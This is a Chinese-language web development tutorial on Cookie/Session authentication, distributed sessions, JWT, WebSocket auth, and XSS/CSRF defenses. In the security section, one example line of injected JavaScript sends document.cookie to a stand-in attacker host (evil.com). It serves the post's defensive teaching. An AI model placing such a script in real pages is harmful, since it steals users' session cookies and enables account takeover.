专栏第十三篇,网络与协议篇第六章。上一篇结尾我们留了个悬念:HTTP 是无状态的,那服务器到底是怎么"记住"一个登录用户的?你在淘宝登录完,为什么点进购物车不需要再输一次密码?这背后的主角就是今天要聊的两个老伙计------Cookie 和 Session。顺便,我们也会把前端面试里常考的 JWT、XSS、CSRF 一起串起来。
一、问题的根源:HTTP 是个"失忆症患者"
还记得 HTTP 的特点吗?无状态(Stateless)------每一次请求都是独立的,服务器不会记得你上一秒干了什么。
场景模拟
- 你打开淘宝,输入账号密码,点击登录。
- 服务器校验密码正确,返回"登录成功"。
- 你紧接着点击"我的购物车"。
- 问题来了:服务器收到"查看购物车"的请求,但它根本不知道你是谁!因为 HTTP 不会自动携带"我是刚才登录成功的那个用户"的信息。
如果不解决这个问题,你每点一个链接都要重新登录一次------这显然没法用。
我们需要一个机制:
让客户端在后续的请求中,自动带上"身份证明"。
这就是 Cookie 和 Session 要解决的问题。
二、Cookie:浏览器里的"身份证复印件"
Cookie 是保存在浏览器(客户端)里的一小块数据。
1. 它是怎么工作的?
第一次登录(服务器发证件):
http
客户端 服务器
| POST /login (用户名/密码) |
|----------------------------->|
| | 校验成功
| HTTP/1.1 200 OK |
| Set-Cookie: sessionId=abc123|<------- 服务器说:把这张纸条存起来
|<-----------------------------|
服务器通过响应头 Set-Cookie,命令浏览器存一个键值对。
后续请求(浏览器亮证件):
http
客户端 服务器
| GET /cart |
| Cookie: sessionId=abc123 |<------- 浏览器自动带上纸条
|----------------------------->|
| | 查表发现 abc123 对应"张三"
| 返回张三的购物车数据 |
|<-----------------------------|
💡 关键点 :浏览器会自动做这件事。只要域名匹配、未过期,浏览器每次请求都会自动携带 Cookie,你不需要写任何 JS 去手动附加。
2. Cookie 的特点
- 存储在客户端:浏览器或本地硬盘里。
- 自动发送:每次匹配的 HTTP/HTTPS 请求都会自动携带。
- 大小限制 :约 4KB。
- 不可跨域 :
a.com的 Cookie 默认不会发给b.com,这是安全底线。
3. Cookie 的重要属性(面试高频)
为了安全,Cookie 有几个关键开关,一定要记住:
| 属性 | 作用 |
|---|---|
| HttpOnly | 禁止 JavaScript 访问 Cookie(document.cookie 读不到),防 XSS 神器。 |
| Secure | 只允许通过 HTTPS 传输,防止中间人劫持。 |
| SameSite | 限制第三方上下文发送 Cookie,防 CSRF。取值有 Strict / Lax(默认) / None。 |
| Expires / Max-Age | 过期时间。不设置就是会话级 Cookie,浏览器一关就没了。 |
| Domain / Path | 限定 Cookie 生效的域名和路径。 |
🔒 实际项目里,敏感的登录凭证 Cookie 基本都是
HttpOnly + Secure + SameSite=Lax三件套起步。
三、Session:服务器里的"档案袋"
如果说 Cookie 是"身份证复印件",那 Session 就是公安局里的"户籍档案"。
Session 是存储在服务器端的一块数据(可以是内存、Redis 或数据库)。
1. 它是怎么工作的?
-
用户登录,服务器校验密码。
-
服务器创建一个 Session 对象,里面存用户信息:
js{ userId: 123, username: 'zhangsan', role: 'admin' } -
服务器给这个 Session 分配一个唯一 ID,比如
abc123。 -
服务器通过
Set-Cookie: sessionId=abc123把 ID 发给浏览器。 -
浏览器后续请求自动带上
Cookie: sessionId=abc123。 -
服务器拿到 ID,去 Session 存储区查对应数据,就知道用户是谁了。
2. Session 的特点
- 存储在服务端:内存、Redis、数据库都可以。
- 更安全:敏感信息(用户 ID、权限)存在服务器,不会传给客户端。
- 消耗服务器资源:每个在线用户都要占一块存储空间。
四、Cookie 和 Session 的关系(核心)
很多初学者会以为 Cookie 和 Session 是二选一,其实它们是配合使用的:
Session 的运行依赖 SessionId,而 SessionId 通常就存储在 Cookie 中。
lua
Browser Server
| |
| Cookie: sessionId=abc123 | ---> 查 Session 存储
|-----------------------------> | |
| | <----- { userId:1, name:'Alice' }
| 响应数据 |
|<----------------------------- |
打个比方:
- Cookie 是你手里的取餐号。
- Session 是后厨柜子里对应的那碗面。
- 你(浏览器)每次去柜台都亮出取餐号,后厨根据号码找到你的面。
如果没有 Cookie,Session 还能用吗?
技术上可以,把 SessionId 拼在 URL 后面(/page;jsessionid=abc123)或藏在隐藏表单里,但这种方式既丑又不安全,基本已经被淘汰了。
五、分布式系统里的 Session 怎么办?
单机服务器把 Session 存在内存里没问题,但如果是 10 台服务器的集群呢?
- 问题:用户第一次登录打到 Server A,Session 存在 A 的内存里;第二次请求被负载均衡打到 Server B,B 找不到 Session,用户就被踢下线了。
常见的三种解决方案:
- Session Sticky(粘滞会话) :通过 Nginx IP Hash 让同一个用户永远打到同一台机器。
- 缺点:机器宕机 Session 就丢了,扩容也麻烦。
- Session Replication(Session 复制) :每台服务器都把 Session 同步给其他机器。
- 缺点:网络开销大,节点多时是灾难。
- 集中式 Session(主流方案) :把所有 Session 存到 Redis 里,所有服务器都去 Redis 查。
- 优点:无状态应用服务器可随意扩缩容,Redis 还能自动设置过期时间。
🌱 现在几乎所有正经的后端项目,都会选择 Redis 集中式存储 Session。
六、痛点与 JWT 的崛起
随着前后端分离和微服务兴起,Session 模式暴露出一些问题:
- 服务器有状态:必须存 Session,难以无限横向扩展。
- 跨域 / 跨服务:A 站的 Session 不能直接给 B 站用,做 SSO 单点登录很复杂。
- 移动端不友好:Cookie 是浏览器的东西,原生 App 用起来十分别扭。
于是 JWT(JSON Web Token) 登场了。
JWT 的核心思路
服务器不存 Session 了!
登录验证成功后,服务器签发一个 Token(一串带签名的字符串)给客户端。 客户端每次请求都带着这个 Token。 服务器只负责验证签名真伪,本身不存任何状态。
Cookie/Session vs JWT
| 特性 | Cookie / Session | JWT |
|---|---|---|
| 服务端状态 | 有状态 | 无状态 |
| 存储位置 | Session 在服务端,ID 在 Cookie | Token 存在客户端(Cookie / LocalStorage / 内存) |
| 扩展性 | 差(依赖 Session 存储) | 好(只要有密钥就能验签) |
| 注销 / 改密 | 简单,删服务器 Session 即可 | 难,Token 到期前一直有效,需配合黑名单 |
| 带宽开销 | 小(只传 ID) | 较大(Token 自带 Payload) |
| 适用场景 | 传统单体 Web | 前后端分离、微服务、移动端、SSO |
选型建议:
- 传统单体 Web 应用(后台管理、OA):Cookie + Session,简单安全。
- 前后端分离 / 微服务 / App / 开放 API:JWT 更合适。
- 需要严格即时失效(支付、金融):Session,或者 JWT + Redis 黑名单。
⚠️ 很多新手以为 JWT 天生更安全,其实不是。JWT 一旦签发就无法作废,且 Payload 只是 Base64 编码(不是加密),千万别把密码等敏感信息塞进去。
七、与 WebSocket 的联动
上一篇我们刚学了 WebSocket,它同样需要鉴权。
WebSocket 握手时怎么做身份认证?
关键点:WebSocket 的握手是基于 HTTP 的 ,所以浏览器在发起连接时会自动带上 Cookie。
js
// 客户端
const ws = new WebSocket('wss://example.com/ws');
// 服务器端(ws 库)
wss.on('connection', (ws, req) => {
// req 就是握手时的 HTTP 请求对象
const cookies = req.headers.cookie;
// 解析 cookie 拿到 sessionId
// 去 Redis 查 session,确认用户身份
});
这也是为什么很多实时推送系统仍然沿用 Cookie/Session 做鉴权------浏览器天然帮你带上了,省事。
如果是移动端或第三方客户端,没法用 Cookie,就会在连接 URL 上带 Token:
wss://example.com/ws?token=xxx,注意用wss://加密并配合短期 Token。
八、安全警告(必读)
讲到身份认证,两个攻击手法必须认识。
1. XSS(跨站脚本攻击)
黑客在你的页面注入恶意 JS,偷走用户的 Cookie,然后冒充身份。
js
// 攻击者注入的代码
new Image().src = 'https://evil.com/steal?c=' + document.cookie;
防御:
- 关键 Cookie 设置
HttpOnly,让 JS 读不到。 - 前端渲染做好转义,避免
innerHTML插入不可信内容。 - 启用 CSP(内容安全策略)。
2. CSRF(跨站请求伪造)
黑客诱导用户在 evil.com 上点击一个链接,利用浏览器里存着的 a.com 的 Cookie,冒充用户向 a.com 发请求(比如转账)。
防御:
- Cookie 设置
SameSite(Lax或Strict),从源头上阻止第三方携带 Cookie。 - 关键操作加验证码或二次密码。
- 使用 Anti-CSRF Token。
一个有意思的点:JWT 如果存在 LocalStorage 里,不怕 CSRF(因为不会自动带),但怕 XSS;存在 Cookie 里则相反。没有银弹,只能根据场景权衡。
九、总结
- Cookie :载体。存在浏览器,用来自动携带少量数据。
- Session :内容。存在服务器,用来记录用户状态。
- 关系:SessionId 通过 Cookie 传递,二者配合实现登录态。
- 演进:单机 Session → Redis 集中式 Session → JWT 无状态 Token。
- 现状:传统 Web 仍是 Cookie/Session 的天下;前后端分离和微服务时代,JWT 分走了大半江山;而在 WebSocket 鉴权等场景下,Cookie/Session 依然好用。
写在最后
身份认证这套东西看起来琐碎,但它是几乎所有业务系统的基石------登录、权限、风控、审计,全都建立在"知道你是谁"之上。
理解了 Cookie/Session,你就能看懂:
- 为什么有些网站关掉浏览器就退出登录了(会话级 Cookie);
- 为什么大企业内部系统常常几天就要重新登录一次(Session 过期);
- 为什么 App 喜欢用 Token 而不是 Cookie(无状态、跨端友好)。
下一篇我们来聊一个前端几乎天天踩坑、却很少有人真正讲清楚的东西:什么是 CORS?跨域到底是怎么回事?预检请求(OPTIONS)又是什么? 敬请期待。
如果这个系列对你有帮助,欢迎点赞、关注、收藏三连,我们下篇见 👋